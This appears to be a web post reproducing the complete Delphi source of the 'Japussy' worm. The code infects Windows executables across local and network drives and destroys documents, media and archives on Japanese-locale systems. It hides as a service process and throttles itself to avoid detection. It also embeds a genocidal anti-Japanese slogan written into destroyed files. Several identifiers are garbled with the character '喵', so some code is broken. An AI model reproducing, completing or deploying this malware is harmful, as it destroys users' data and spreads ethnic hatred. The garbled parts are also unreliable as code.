猫史档案馆

program Japussy;   uses   Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};   const   HeaderSize =82432; //病毒体的大小   IconOffset = $12EB8; //PE文件主图标的偏移量   //在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同   //查找2800000020的十六进制字符串可以找到主图标的偏移量           {   HeaderSize =38912; //Upx压缩过病毒体的大小       IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量       //Upx 1.24W 用法: upx -9 --8086 Japussy.exe       }       IconSize = $2E8; //PE文件主图标的大小--744字节       IconTail = IconOffset + IconSize; //PE文件主图标的尾部       ID = $44444444; //感染标记       //垃圾码，以备写入       Catchword ='If a race need to be killed out, it must be Yamato. '+       'If a country need to be destroyed, it must be Japan! '+       '*** W32.Japussy.Worm.A ***';   {$R *.RES}       function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;   stdcall; external 'Kernel32.dll'; //函数声明       var   TmpFile: string;   Si: STARTUPINFO;   Pi: PROCESS_INFORMATION;   IsJap: Boolean = False; //日文操作系统标记       { 判断是否为Win9x }       function IsWin9x: Boolean;   var   Ver: TOSVersionInfo;   begin   Result := False;   Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);   if not GetVersionEx(Ver) then   Exit;   if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x       Result := True;   end;   { 在流之间复制 }       procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;   dStartPos: Integer; Count: Integer);   var   sCurPos, dCurPos: Integer;   begin   sCurPos := Src.Position;   dCurPos := Dst.Position;   Src.Seek(sStartPos, 0);   Dst.Seek(dStartPos, 0);   Dst.CopyFrom(Src, Count);   Src.Seek(sCurPos, 0);   Dst.Seek(dCurPos, 0);   end;   { 将宿主文件从已感染的PE文件中分离出来，以备使用 }       procedure ExtractFile(FileName: string);   var   sStream, dStream: TFileStream;   begin   try       sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);   try       dStream := TFileStream.Create(FileName, fmCreate);   try       sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分       dStream.CopyFrom(sStream, sStream.Size - HeaderSize);   finally       dStream.Free;   end;   finally       sStream.Free;   end;   except   end;   end;   { 填充STARTUPINFO结构 }       procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);   begin   Si.cb := SizeOf(Si);   Si.lpReserved := nil;   Si.lpDesktop := nil;   Si.lpTitle := nil;   Si.dwFlags := STARTF_USESHOWWINDOW;   Si.wShowWindow := State;   Si.cbReserved2 :=0;   Si.lpReserved2 := nil;   end;   { 发带毒邮件 }       procedure SendMail;   begin   //哪位仁兄愿意完成之？       end;   { 感染PE文件 }       procedure InfectOneFile(FileName: string);   var   HdrStream, SrcStream: TFileStream;   IcoStream, DstStream: 喵emoryStream;   iID: LongInt;   aIcon: TIcon;   Infected, IsPE: Boolean;   i: Integer;   Buf: array[0..1] of Char;   begin   try//出错则文件正在被使用，退出       if CompareText(FileName, 'JAPUSSY.EXE') =0 then //是自己则不感染       Exit;   Infected := False;   IsPE := False;   SrcStream := TFileStream.Create(FileName, fmOpenRead);   try       for i :=0 to $108do//检查PE文件头       begin   SrcStream.Seek(i, soFromBeginning);   SrcStream.Read(Buf, 2);   if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记       begin   IsPE := True; //是PE文件       Break;   end;   end;   SrcStream.Seek(-4, soFromEnd); //检查感染标记       SrcStream.Read(iID, 4);   if (iID = ID) or (SrcStream.Size <10240) then //太小的文件不感染       Infected := True;   finally       SrcStream.Free;   end;   if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出       Exit;   IcoStream := 喵emoryStream.Create;   DstStream := 喵emoryStream.Create;   try       aIcon := TIcon.Create;   try       //得到被感染文件的主图标(744字节)，存入流       aIcon.ReleaseHandle;   aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);   aIcon.SaveToStream(IcoStream);   finally       aIcon.Free;   end;   SrcStream := TFileStream.Create(FileName, fmOpenRead);   //头文件       HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);   try       //写入病毒体主图标之前的数据       CopyStream(HdrStream, 0, DstStream, 0, IconOffset);   //写入目前程序的主图标       CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);   //写入病毒体主图标到病毒体尾部之间的数据       CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);   //写入宿主程序       CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);   //写入已感染的标记       DstStream.Seek(0, 2);   iID := $44444444;   DstStream.Write(iID, 4);   finally       HdrStream.Free;   end;   finally       SrcStream.Free;   IcoStream.Free;   DstStream.SaveToFile(FileName); //替换宿主文件       DstStream.Free;   end;   except;   end;   end;   { 将目标文件写入垃圾码后删除 }       procedure SmashFile(FileName: string);   var   FileHandle: Integer;   i, Size, Mass, Max, Len: Integer;   begin   try       SetFileAttributes(PChar(FileName), 0); //去掉只读属性       FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件       try       Size := GetFileSize(FileHandle, nil); //文件大小       i :=0;   Randomize;   Max := Random(15); //写入垃圾码的随机次数       if Max <5 then   Max :=5;   Mass := Size div Max; //每个间隔块的大小       Len := Length(Catchword);   while i < Max do       begin   FileSeek(FileHandle, i * Mass, 0); //定位   //写入垃圾码，将文件彻底破坏掉       FileWrite(FileHandle, Catchword, Len);   Inc(i);   end;   finally       FileClose(FileHandle); //关闭文件       end;   DeleteFile(PChar(FileName)); //删除之       except   end;   end;   { 获得可写的驱动器列表 }       function GetDrives: string;   var   DiskType: Word;   D: Char;   Str: string;   i: Integer;   begin   for i :=0 to 25do//遍历26个字母       begin   D := Chr(i +65);   Str := D +':';       DiskType := GetDriveType(PChar(Str));   //得到本地磁盘和网络盘       if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then   Result := Result + D;   end;   end;   { 遍历目录，感染和摧毁文件 }       procedure LoopFiles(Path, Mask: string);   var   i, Count: Integer;   Fn, Ext: string;   SubDir: TStrings;   SearchRec: TSearchRec;   Msg: 喵sg;   function IsValidDir(SearchRec: TSearchRec): Integer;   begin   if (SearchRec.Attr <>16) and (SearchRec.Name <>'.') and   (SearchRec.Name <>'..') then   Result :=0//不是目录       elseif (SearchRec.Attr =16) and (SearchRec.Name <>'.') and   (SearchRec.Name <>'..') then   Result :=1//不是根目录       else Result :=2; //是根目录       end;   begin   if (FindFirst(Path + Mask, faAnyFile, SearchRec) =0) then   begin   repeat   PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑       if IsValidDir(SearchRec) =0 then   begin   Fn := Path + SearchRec.Name;   Ext := UpperCase(ExtractFileExt(Fn));   if (Ext ='.EXE') or (Ext ='.SCR') then   begin   InfectOneFile(Fn); //感染可执行文件       end   elseif (Ext ='.H喵') or (Ext ='.H喵L') or (Ext ='.ASP') then   begin   //感染H喵L和ASP文件，将Base喵编码后的病毒写入   //感染浏览此网页的所有用户   //哪位大兄弟愿意完成之？       end   elseif Ext ='.WAB' then //Outlook地址簿文件       begin   //获取Outlook邮件地址       end   elseif Ext ='.ADC' then //Foxmail地址自动完成文件       begin   //获取Foxmail邮件地址       end   elseif Ext ='IND' then //Foxmail地址簿文件       begin   //获取Foxmail邮件地址       end   else       begin   if IsJap then //是喵文操作系统       begin   if (Ext ='.DOC') or (Ext ='.XLS') or (Ext ='.MDB') or   (Ext ='.MP3') or (Ext ='.RM') or (Ext ='.RA') or   (Ext ='.WMA') or (Ext ='.ZIP') or (Ext ='.RAR') or   (Ext ='.MPEG') or (Ext ='.ASF') or (Ext ='.JPG') or   (Ext ='.JPEG') or (Ext ='.GIF') or (Ext ='.SWF') or   (Ext ='.PDF') or (Ext ='.CHM') or (Ext ='.AVI') then   SmashFile(Fn); //摧毁文件       end;   end;   end;   //感染或删除一个文件后睡眠200毫秒，避免喵U占用率过高引起怀疑       Sleep(200);   until (FindNext(SearchRec) <>0);   end;   FindClose(SearchRec);   SubDir := TStringList.Create;   if (FindFirst(Path +'*.*', faDirectory, SearchRec) =0) then   begin   repeat   if IsValidDir(SearchRec) =1 then   SubDir.Add(SearchRec.Name);   until (FindNext(SearchRec) <>0);   end;   FindClose(SearchRec);   Count := SubDir.Count -1;   for i :=0 to Count do       LoopFiles(Path + SubDir.Strings +'', Mask);       FreeAndNil(SubDir);   end;   { 遍历磁盘上所有的文件 }       procedure InfectFiles;   var   DriverList: string;   i, Len: Integer;   begin   if GetA喵 =932 then //日文操作系统       IsJap := True; //喵！       DriverList := GetDrives; //得到可写的磁盘列表       Len := Length(DriverList);   while True do//喵循环       begin   for i := Len downto 1do//遍历每个磁盘驱动器       LoopFiles(DriverList +':', '*.*'); //感染之       SendMail; //发带毒邮件       Sleep(1000*60*5); //睡眠5分钟       end;   end;   { 主程序开始 }       begin   if IsWin9x then //是Win9x       RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程       else//WinNT       begin   //远程线程映射到Explorer进程   //哪位兄台愿意完成之？       end;   //如果是原始病毒体自己       if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') =0 then   InfectFiles //感染和发邮件       else//已寄生于宿主程序上了，开始工作       begin   TmpFile := ParamStr(0); //创建临时文件       Delete(TmpFile, Length(TmpFile) -4, 4);   TmpFile := TmpFile + #32+'.exe'; //真正的宿主文件，多一个空格       ExtractFile(TmpFile); //分离之       FillStartupInfo(Si, SW_SHOWDEFAULT);   CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,   0, nil, '.', Si, Pi); //创建新进程运行之       InfectFiles; //感染和发邮件       end;   end.   发布于 2022-04-22 20:44